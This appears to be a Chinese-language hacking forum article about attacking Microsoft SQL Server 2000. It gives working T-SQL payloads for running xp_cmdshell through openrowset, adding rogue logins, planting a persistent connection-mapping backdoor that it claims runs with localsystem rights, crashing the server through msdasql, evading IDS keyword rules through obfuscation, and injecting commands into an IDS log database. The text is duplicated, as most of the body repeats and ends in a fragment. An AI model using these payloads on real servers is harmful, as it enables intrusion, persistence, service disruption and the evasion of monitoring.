可能这个技巧早有人已经会了，就是利用openrowset发送本地命令。通常我们的用法是（包括MSDN的列子）如下：
select * from openrowset('sqloledb','myserver';'sa';'','select * from
table')
可见（即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问，它必须跟在select后面，也就是说需要返回一个recordset 。
那么我们能不能利用它调用xp_cmdshell呢？答案是肯定的！
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off
exec master.dbo.xp_cmdshel l ''dir c:''')
必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置，这样xp_cmdshell返回的output集合就会提交给前面的select显示，如果采用默认设置，会返回空集合导致select出错，命令也就无法执行了。
那么如果我们要调用sp_addlogin呢，他不会像xp_cmdshell返回任何集合的，我们就不能再依靠fmtonly设置了，可以如下操作
select * from openrowset('sqloledb','server';'sa';'','select ''OK!''
exec master.dbo.sp_addlogin Hectic')
这样，命令至少会返回select OK!'的集合，你的机器商会显示OK!，同时对方的数据库内也会增加一个Hectic的账号，也就是说，我们利用
select 'OK!'的返回集合欺骗了本地的select请求，是命令能够正常执行，通理sp_addsrvrolemember和opendatasource也可以如此操作！至于这个方法真正的用处，大家慢慢想吧。
2．关于Msdasql两次请求的问题
不知道大家有没有试过用msdasql连接远程数据库，当然这个api必须是sqlserver的管理员才可以调用，那么如下：
select * from openrowset('msdasql','driver={sql
server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s
elect * from table1 select * from table2')
当table1和table2的字段数目不相同时，你会发现对方的sqlserver崩溃了，连本地连接都会失败，而系统资源占用一切正常，用pskill杀死 sqlserver进程后，如果不重启机器，sqlserver要么无法正常启动，要么时常出现非法操作，我也只是碰巧找到这个bug的，具体原因我还没有摸透，而且很奇怪的是这个现象只出现在msdasql上，sqloledb就没有这个问题，看来问题不是在于请求集合数目和返回集合数目不匹配上，应该还是msdasql本身的问题，具体原因，大家一起慢慢研究吧。
3．可怕的后门
以前在网上看到有人说在 sqlserver上留后门可以通过添加triger、jobs或改写sp_addlogin和sp_addsrvrolemember做到，这些方法当然可行，但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵，比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令：
select * from openrowset('sqloledb','trusted_connection=yes;data
source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:''')
这样在对方的 sqlserver上建立了一个名为Hectic的本地连接映射，只要sqlserver不重启，这个映射会一直存在下去，至少我现在还不知道如何发现别人放置的连接映射，好了，以上的命令运行过后，你会发现哪怕是sqlserver没有任何权限的guest用户，运行以上这条命令也一样能通过！而且权限是 localsystem！（默认安装）呵呵！这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。以上的方法在 sqlserver2000 sqlserver2000SP1上通过！
另外还有一个猜测，不知道大家有没有注意过windows默认附带的两个dsn，一个是localserver一个是msqi，这两个在建立的时候是本地管理员账号连接sqlserver的，如果对方的 sqlserver是通过自定义的power user启动，那么sa的权限就和power user一样，很难有所大作为，但是我们通过如下的命令：
select * from openrowset
('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec
master..xp_cmdshell ''dir c:''')
应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了，这是后我想应该能突破sa那个power user权限了。现在的问题是sqloledb无法调用dsn连接，而msdasql非管理员不让调用，所以我现在正在寻找guest调用msdasql 的方法。
如果有人知道这个bug如何突破，或有新的想法，我们可以一起讨论一下，这个发放如果能成功被guest利用，将会是一个很严重的安全漏洞。因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行。
4．利用T-sql骗过Ids或攻击Ids
现在的ids已经变得越来越聪明了。有的ids加入了xp_cmdshell sp_addlogin 的监视，但是毕竟人工智能没有出现的今天，这种监视总是有种骗人的感觉。
先说说欺骗Ids
ids既然监视xp_cmdshell关键字，那么我们可以这么做：
declare @a sysname set @a="xp_" "cmdshell" exec @a 'dir c:'
这个代码相信大家都能看明白，还有xp_cmdshell作为一个store procedure在master库内有一个id号，固定的，我们也可以这么做：
假设这个id=988456
declare @a sysname select @a=name from sysobjects where id=988456
exec @a 'dir c:'
当然也可以：
declare @a sysname select @a=name from sysobjects where id=988455 1
exec @a 'dir c:'
这种做法排列组合，ids根本不可能做的到完全监视。同理，sp_addlogin也可以这么做。
再说说攻击Ids
因为ids数据量很大，日至通常备份到常规数据库，比如sql server。
如果用古老的recordset.addnew做法，会严重影响ids的性能，因为通过ado做t-sql请求，不但效率高，而且有一部分工作可以交给sql server 去做，通常程序会这么写：
insert table values ('日至内容'，...)
那么我们想想看，如果用 temp') exec xp_cmdshell 'dir c:' -- 提交后会变成：
insert table values ('日至内容'....'temp') exec xp_cmdshell 'dir
c:' -- ')
这样，xp_cmdshell就可以在ids的数据库运行了。当然ids是一个嗅叹器，他会抓所有的报，而浏览器提交的时候会把空格变成 。因此， 会被提交到sql server，这样你的命令就无法执行了。 唯一的办法就是：
insert/**/table/**/values('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:'/**/-- ')
用/**/代替空格做间隔符，这样你的t-sql才能在ids的数据库内执行。当然也可以用其他语句，可以破坏，备份ids的数据库到你的共享目录，呵呵。
其实这种方法的原理和攻击asp是一样的，只是把空格变成了/**/ 。本来asp是select语句，那么用'就可以屏蔽。现在ids用insert语句，那么用')屏蔽。
好了，其他很多新的入侵语句大家可以自己慢慢想，最好的测试工具就是query analyzer了。命令了。
select * from openrowset('sqloledb','myserver';'sa';'','select * from
table')
可见（即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问，它必须跟在select后面，也就是说需要返回一个recordset 。
那么我们能不能利用它调用xp_cmdshell呢？答案是肯定的！
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off
exec master.dbo.xp_cmdshel l ''dir c:''')
必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置，这样xp_cmdshell返回的output集合就会提交给前面的select显示，如果采用默认设置，会返回空集合导致select出错，命令也就无法执行了。
那么如果我们要调用sp_addlogin呢，他不会像xp_cmdshell返回任何集合的，我们就不能再依靠fmtonly设置了，可以如下操作
select * from openrowset('sqloledb','server';'sa';'','select ''OK!''
exec master.dbo.sp_addlogin Hectic')
这样，命令至少会返回select OK!'的集合，你的机器商会显示OK!，同时对方的数据库内也会增加一个Hectic的账号，也就是说，我们利用
select 'OK!'的返回集合欺骗了本地的select请求，是命令能够正常执行，通理sp_addsrvrolemember和opendatasource也可以如此操作！至于这个方法真正的用处，大家慢慢想吧。
2．关于Msdasql两次请求的问题
不知道大家有没有试过用msdasql连接远程数据库，当然这个api必须是sqlserver的管理员才可以调用，那么如下：
select * from openrowset('msdasql','driver={sql
server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s
elect * from table1 select * from table2')
当table1和table2的字段数目不相同时，你会发现对方的sqlserver崩溃了，连本地连接都会失败，而系统资源占用一切正常，用pskill杀死 sqlserver进程后，如果不重启机器，sqlserver要么无法正常启动，要么时常出现非法操作，我也只是碰巧找到这个bug的，具体原因我还没有摸透，而且很奇怪的是这个现象只出现在msdasql上，sqloledb就没有这个问题，看来问题不是在于请求集合数目和返回集合数目不匹配上，应该还是msdasql本身的问题，具体原因，大家一起慢慢研究吧。
3．可怕的后门
以前在网上看到有人说在 sqlserver上留后门可以通过添加triger、jobs或改写sp_addlogin和sp_addsrvrolemember做到，这些方法当然可行，但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵，比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令：
select * from openrowset('sqloledb','trusted_connection=yes;data
source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:''')
这样在对方的 sqlserver上建立了一个名为Hectic的本地连接映射，只要sqlserver不重启，这个映射会一直存在下去，至少我现在还不知道如何发现别人放置的连接映射，好了，以上的命令运行过后，你会发现哪怕是sqlserver没有任何权限的guest用户，运行以上这条命令也一样能通过！而且权限是 localsystem！（默认安装）呵呵！这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。以上的方法在 sqlserver2000 sqlserver2000SP1上通过！
另外还有一个猜测，不知道大家有没有注意过windows默认附带的两个dsn，一个是localserver一个是msqi，这两个在建立的时候是本地管理员账号连接sqlserver的，如果对方的 sqlserver是通过自定义的power user启动，那么sa的权限就和power user一样，很难有所大作为，但是我们通过如下的命令：
select * from openrowset
('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec
master..xp_cmdshell ''dir c:''')
应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了，这是后我想应该能突破sa那个power user权限了。现在的问题是sqloledb无法调用dsn连接，而msdasql非管理员不让调用，所以我现在正在寻找guest调用msdasql 的方法。
如果有人知道这个bug如何突破，或有新的想法，我们可以一起讨论一下，这个发放如果能成功被guest利用，将会是一个很严重的安全漏洞。因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行。
4．利用T-sql骗过Ids或攻击Ids
现在的ids已经变得越来越聪明了。有的ids加入了xp_cmdshell sp_addlogin 的监视，但是毕竟人工智能没有出现的今天，这种监视总是有种骗人的感觉。
先说说欺骗Ids
ids既然监视xp_cmdshell关键字，那么我们可以这么做：
declare @a sysname set @a="xp_" "cmdshell" exec @a 'dir c:'
这个代码相信大家都能看明白，还有xp_cmdshell作为一个store procedure在master库内有一个id号，固定的，我们也可以这么做：
假设这个id=988456
declare @a sysname select @a=name from sysobjects where id=988456
exec @a 'dir c:'
当然也可以：
declare @a sysname select @a=name from sysobjects where id=988455 1
exec @a 'dir c:'
这种做法排列组合，ids根本不可能做的到完全监视。同理，sp_addlogin也可以这么做。
再说说攻击Ids
因为ids数据量很大，日至通常备份到常规数据库，比如sql server。
如果用古老的recordset.addnew做法，会严重影响ids的性能，因为通过ado做t-sql请求，不但效率高，而且有一部分工作可以交给sql server 去做，通常程序会这么写：
insert table values ('日至内容'，...)
那么我们想想看，如果用 temp') exec xp_cmdshell 'dir c:' -- 提交后会变成：
insert table values ('日至内容'....'temp') exec xp_cmdshell 'dir
c:' -- ')
这样，xp_cmdshell就可以在ids的数据库运行了。当然ids是一个嗅叹器，他会抓所有的报，而浏览器提交的时候会把空格变成 。因此， 会被提交到sql server，这样你的命令就无法执行了。 唯一的办法就是：
insert/**/table/**/values('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:'/**/-- ')
用/**/代替空格做间隔符，这样你的t-sql才能在ids的数据库内执行。当然也可以用其他语句，可以破坏，备份ids的数据库到你的共享目录，呵呵。
其实这种方法的原理和攻击asp是一样的，只是把空格变成了/**/ 。本来asp是select语句，那么用'就可以屏蔽。现在ids用insert语句，那么用')屏蔽。
好了，其他很多新的入侵语句大家可以自己慢慢想，最好的测试工具就是query analyzer了。命令了。